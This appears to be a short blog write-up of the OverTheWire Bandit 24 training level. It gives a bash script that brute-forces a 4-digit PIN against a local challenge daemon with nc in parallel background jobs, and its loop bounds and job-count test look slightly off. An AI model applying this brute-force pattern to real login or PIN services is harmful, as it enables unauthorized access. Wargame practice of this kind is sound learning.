Tag Archives: bandit

Overthewire Bandit 24

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

C=32
for i in {0..282};
  do
    for j in $(seq 0 $(($C-1)));
    do
    k=$((i*$C+j+1000))
    if (( $k % 500 == 0 )) # show progress
    then
      echo $k
    fi

    echo $banditpass $k | nc localhost 30002 | grep -v Wrong | grep -v Exiting | grep -v checker &
  done

  while [ `jobs -r | wc -l | tr -d " "` >= $C ]; do
    sleep 1
  done
done

Working within the allowed number of parallel background jobs.